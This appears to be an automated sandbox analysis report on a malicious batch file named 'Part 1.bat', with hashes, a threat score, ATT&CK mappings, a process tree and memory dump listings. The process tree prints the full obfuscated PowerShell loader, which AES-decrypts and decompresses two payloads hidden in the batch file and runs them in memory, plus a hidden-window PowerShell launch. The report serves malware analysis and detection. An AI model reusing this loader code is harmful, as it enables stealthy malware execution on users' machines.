1731919d2dc81ad27833aaaf162c923c8c0e9ec12f0517c7db0409b74e9550c6

Analysis

max time kernel
120s
max time network
128s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
01-07-2024 18:28

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General

Target

zvgfd-main/Part 1.bat
Size

580KB
MD5

8b844b2b29752a8a1c62efaa59dba4be
SHA1

0c467148d558c4b7d6672d5b26a79af5f7fb96d4
SHA256

ccb4ad561b87927edd97a02436014944c9147fe78934d2a26de73c7ee1704d0d
SHA512

e086dfb88842e19c552ec00d989ae453743cabeddae93359cde6afc62354042d6ab366039e71819ad0a79319fb17ce98ec77bafb31f6183ba8a87cbb2c1df8a0
SSDEEP

12288:dgOsRaPeA/fpkyocgcQwO57n+2HCZ/ySemGKDuE2wROnCFkw:dAcbBkBJwy+2HCESoZy

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
execution

PowerShell
T1059.001

Processes:

powershell.exe

pid process

2008 powershell.exe
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2008 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2008 powershell.exe

pid	process
2008	powershell.exe

pid	process
2008	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2008	powershell.exe

Suspicious use of WriteProcessMemory 6 IoCs

Processes:

cmd.exe

description	pid	process	target process
PID 1756 wrote to memory of 1820	1756	cmd.exe	cmd.exe
PID 1756 wrote to memory of 1820	1756	cmd.exe	cmd.exe
PID 1756 wrote to memory of 1820	1756	cmd.exe	cmd.exe
PID 1756 wrote to memory of 2008	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 2008	1756	cmd.exe	powershell.exe
PID 1756 wrote to memory of 2008	1756	cmd.exe	powershell.exe

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Part 1.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1756

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('uMhFm9Heyf0m35R7TqcwatHx8y7t/S5Yp9g45Hv0RJQ='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('cYkB+WZDehKcJNABs1GBow=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $dLVmD=New-Object System.IO.MemoryStream(,$param_var); $PrWUn=New-Object System.IO.MemoryStream; $NtSFg=New-Object System.IO.Compression.GZipStream($dLVmD, [IO.Compression.CompressionMode]::Decompress); $NtSFg.CopyTo($PrWUn); $NtSFg.Dispose(); $dLVmD.Dispose(); $PrWUn.Dispose(); $PrWUn.ToArray();}function execute_function($param_var,$param2_var){ $TQPiU=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $iqsry=$TQPiU.EntryPoint; $iqsry.Invoke($null, $param2_var);}$qcgQF = 'C:\Users\Admin\AppData\Local\Temp\zvgfd-main\Part 1.bat';$host.UI.RawUI.WindowTitle = $qcgQF;$XDAmi=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($qcgQF).Split([Environment]::NewLine);foreach ($jksJC in $XDAmi) { if ($jksJC.StartsWith('JTCOZdwpBOYBkUChqpKD')) { $HLFxX=$jksJC.Substring(20); break; }}$payloads_var=[string[]]$HLFxX.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
2⤵
PID:1820

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2008

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2008-4-0x000007FEF587E000-0x000007FEF587F000-memory.dmp

Filesize
4KB

Download
memory/2008-5-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

Filesize
2.9MB

Download
memory/2008-6-0x0000000002790000-0x0000000002798000-memory.dmp

Filesize
32KB

Download
memory/2008-7-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2008-8-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2008-9-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2008-10-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2008-11-0x000007FEF55C0000-0x000007FEF5F5D000-memory.dmp

Filesize
9.6MB

Download
memory/2008-12-0x000007FEF587E000-0x000007FEF587F000-memory.dmp

Filesize
4KB

Download